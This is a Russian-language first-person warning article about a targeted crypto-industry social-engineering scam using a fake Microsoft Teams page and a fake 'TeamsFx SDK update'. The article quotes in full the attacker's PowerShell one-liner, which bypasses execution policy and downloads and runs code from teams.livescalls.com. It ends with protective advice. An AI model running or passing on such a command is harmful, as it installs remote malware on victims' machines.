Я почти стал жертвой взлома во время звонка в Microsoft Teams — как работает этот скам

Позвольте мне рассказать, как я оказался в шаге от того, чтобы стать жертвой сложной схемы социальной инженерии, направленной на эксплуатацию чего-то настолько рутинного и, казалось бы, безобидного, как звонок в Microsoft Teams, который произошел сегодня. 

Большую часть взаимодействия ничего не казалось необычным. 

Кто-то, кого я считал отраслевым контактом, связался со мной, чтобы организовать встречу в Microsoft Teams, и мой готовый к сотрудничеству энтузиазм лишь способствовал тому, чтобы я с радостью присоединился к звонку. 

Спойлер: человек на другом конце был самозванцем, и он пытался заставить меня запустить вредоносный код на моем компьютере. 

Я воспроизвожу весь этот опыт здесь как предупреждение для друзей, знакомых и современников из крипто- и Web3-сообщества. 

Сегодня это мог быть я; завтра это может быть кто-то другой. 

Шаг 1: Подготовка — «Давайте пообщаемся, старый друг» 

Когда вы получаете сообщение от Telegram-аккаунта кого-то, кого вы знаете как топ-сотрудника известной крипто-PR-агентства, последнее, о чем вы думаете, это о том, что вас затягивают в фишинговую ловушку. 

Ни один из типичных красных флажков сразу не бросался в глаза. 

Это не было случайным личным сообщением. 

Я общался не с аккаунтом-самозванцем, где буква «i» незаметно заменена на «l». 

У меня даже была история чатов с этим аккаунтом, поэтому я думал, что на том конце находится настоящий человек. 

Ничего не казалось странным, начиная с полностью дружеского разговора для воссоединения. Вскоре появилась ссылка Calendly для записи на 30-минутную встречу и приглашение на звонок в Microsoft Teams.

Как я уже сказал ранее, моя сигнализация ни разу не сработала за все время взаимодействия. Я чувствовал тот же уровень профессионализма и терпения, какой можно ожидать от высокопоставленного сотрудника ведущего PR-агентства. 

Все, что я знал, это то, что я запланировал встречу в Teams через страницу Calendли отраслевого контакта.

Мошенник устанавливает контакт, используя взломанный аккаунт, и отправляет ссылку на встречу в Teams.

Шаг 2: Ловушка «Присоединиться только на настольном компьютере» 

В день встречи я нажал на ссылку встречи Teams на своем телефоне, как делал это как минимум тысячу раз раньше. Однако на этот раз я не попал сразу на встречу, как обычно. Вместо перенаправления в звонок загрузился экран с заявлением: «Доступ к этой встрече с мобильных устройств запрещен из-за настроек организатора». 

«Ой-ой! Со мной такого раньше никогда не случалось». 

Впрочем, это тоже не было случайностью. 

Если оглянуться назад, то, вероятно, это был первый настоящий красный флаг. 

Экран с ошибкой — часть дизайна. Мошенникам нужно, чтобы вы сидели за настольным компьютером или ноутбуком, потому что их вредоносный код представляет собой скрипт командной строки, который работает только на ПК.

URL-адрес в браузере «teams.livescalls.com» НЕ является настоящим доменом Microsoft.

Легитимные встречи Teams используют teams.microsoft.com или teams.live.com.

Домен «livescalls.com» издали выглядит достаточно похоже на настоящий, но если присмотреться, то он далеко не такой, каким кажется. 

Один из них — сайт под контролем Microsoft, который заявляет о более чем 320 миллионах ежедневных активных пользователей. Другой — полностью фейковый сайт, контролируемый злоумышленниками. 

Справедливости ради, некоторые организации могут использовать собственные домены для своих командных встреч. Однако, согласно Всемирному экономическому форуму, в 2025 году мошенникам было украдено более 1 триллиона долларов, что стало достаточной причиной для меня, чтобы не игнорировать свои инстинкты. 

Фейковая страница «Team Access Notice» блокирует доступ с мобильных устройств, заставляя жертв использовать настольный компьютер, где может запуститься вредоносный скрипт. Обратите внимание на URL: teams.livescalls.com — это не домен Microsoft.

После блокировки на мобильных устройствах мошенник давит на жертву, требуя присоединиться через настольный компьютер, утверждая, что «партнеры ждут».

Шаг 3: Вредоносный код — «Обновите ваш TeamsFx SDK»

Оказавшись на настольном компьютере, фейковая встреча в Teams показала профессионально оформленную страницу, похожую на то, что можно увидеть в официальной документации Microsoft. В ней даже использовался реальный язык Microsoft о том, что TeamsFx SDK будет прекращен к сентябрю 2025 года. 

Решение? Скопируйте блок кода и запустите его в терминале или командной строке.

Если бы вы предприняли дополнительный шаг и сделали поиск в Google, то обнаружили бы, что аналогичный SDK действительно существует. Просто он вам не нужен для этого командного звонка. 

Сначала код выглядит безобидно — он устанавливает переменные окружения с официальными названиями, такими как TeamsFx_API_KEY и MS_Teams_API_SECRET. Но настоящий вектор атаки спрятан где-то в середине, и эти злоумышленники не рассчитывают на то, что вы заметите проблему:

powershell -ep bypass -c “(iwr -Uri https://teams.livescalls.com/developer/sdk/update/version/085697307 -UserAgent ‘teamsdk’ -UseBasicParsing).Content | iex”

Эта единственная строка обходит политики безопасности PowerShell (-ep bypass), загружает код с сервера злоумышленников и немедленно выполняет его (iex = Invoke-Expression). 

И вот, любое вредоносное ПО, кейлоггер или инструмент удаленного доступа, размещенный злоумышленниками, молча устанавливается на ваше устройство.

Фейковый интерфейс встречи в Teams, показывающий вредоносную страницу «Обновление TeamsFx SDK», представленную участникам. Обратите внимание на участников звонка — это сгенерированные ИИ видео.

Шаг 4: Этап давления «Не волнуйтесь, это безопасно»

Когда я выразил сомнение относительно запуска скрипта, мошенник немедленно выдал комбинацию из успокоения и давления. 

Фраза «Не волнуйтесь, это очень просто и безопасно для вас» должна была успокоить меня и подтолкнуть к выполнению инструкций на скриншоте, показывающих, как открыть командную строку на моем ПК. 

«Партнеры уже присоединились к Zoom» — эта фраза должна была создать у меня чувство давления, чтобы мне не пришлось заставлять всех переключаться на другую платформу из-за того, что я не могу разобраться, как запустить простую командную строку.

Меня не успокоили. Меня также не заставили чувствовать давление.

Когда я предложил перенести звонок в Google Meet, они отказались. Оказывается, их мошенническая схема работает только через их фейковую настройку Teams.

Мошенник отправляет пошаговые инструкции для запуска вредоносного кода, успокаивая жертву: «Не волнуйтесь, это очень просто и безопасно для вас».

Шаг 5: Ложь раскрыта — заблокировано и удалено

Я подтвердил свои подозрения после проверки скрипта и домена: мной манипулировали с помощью социальной инженерии, и я был в нескольких шагах от того, чтобы стать частью статистики Всемирного экономического форума 2026 года. 

Я прямо сказал мошеннику: «Я только что проверил, и эта команда и веб-сайт не являются легитимными. К сожалению, я не смогу этого сделать». Я предложил продолжить разговор в Google Meet, если они все еще хотят пообщаться.

«Но встреча уже идет», — было сообщением с другой стороны. 

Как и ожидалось, их ответ был направлен на то, чтобы заставить меня осознать срочность присоединения к звонку. В конце концов, я бы не хотел заставлять всех этих партнеров ждать слишком долго.

Спустя мгновение они удалили всю нашу переписку и заблокировали меня. 

Ах… Это не просто красный флаг. Это настоящий багровый флаг. 

Деловые контакты не удаляют всю историю переписки и не блокируют вас в тот момент, когда вы ставите под сомнение обновление программного обеспечения.

После того как мошенничество раскрыто, злоумышленник настаивает, что встреча «идет прямо сейчас», прежде чем удалить все сообщения и заблокировать жертву.

Как защитить себя

Этот тип атак набирает обороты в индустриях криптовалют, Web3 и технологий. Мошенники компрометируют или выдают себя за реальные аккаунты специалистов по связям с общественностью, инвесторов и руководителей проектов, чтобы нацеливаться на высокоценных лиц. Вот как оставаться в безопасности:

• Никогда не запускайте команды со страницы встречи. Ни одна легитимная платформа видеозвонков никогда не попросит вас вставить код в терминал или Командную строку.
• Проверьте URL-адрес. Настоящие встречи Microsoft Teams проходят на teams.microsoft.com или teams.live.com — а не на «teams.livescalls.com» или любом другом домене-клооне.
• Относитесь с подозрением к требованиям «только для настольных ПК». Если встреча блокирует доступ с мобильных устройств, это намеренная тактика, чтобы заставить вас использовать устройство, на котором можно выполнять скрипты.
• Проверьте личность человека через отдельный канал связи. Если известный контакт отправляет вам необычную ссылку на встречу, позвоните ему напрямую или напишите на другой платформе, чтобы подтвердить.
• Обращайте внимание на «powershell -ep bypass» и «iex». Это два самых больших красных флага в любом скрипте. Первый отключает безопасность, второй слепо выполняет загруженный код.
• Если вы уже запустили скрипт: Немедленно отключитесь от интернета. Запустите полное сканирование на наличие вредоносных программ (Malwarebytes, Windows Defender Offline). Смените все пароли с другого чистого устройства. Следите за криптокошельками и банковскими счетами на предмет несанкционированных транзакций.

Почему это важно для крипто и Web3

Я бы не назвал это типичным фишинговым взаимодействием, где злоумышленники расставляют широкие сети и смотрят, что они поймают. 

Нет, это была целевая многодневная операция социальной инженерии. Злоумышленники в течение нескольких дней изображали коллег по отрасли, выстраивали доверие и готовили почву, чтобы незаметно направить вас на решение технической проблемы во время встречи в Teams через убедительную фейковую страницу Microsoft. 

Будь то кража ваших учетных данных, опустошение вашего криптокошелька или установка постоянного вредоносного ПО для удаленного доступа — злоумышленники имеют все шансы выиграть и нечего терять. 

Если вы основатель, инвестор или кто-либо, кто проводит встречи в сфере крипто и технологий, поделитесь этой статьей со своей командой. Те, кто организует эти мошеннические схемы, становятся лучше, и единственная защита — это осведомленность.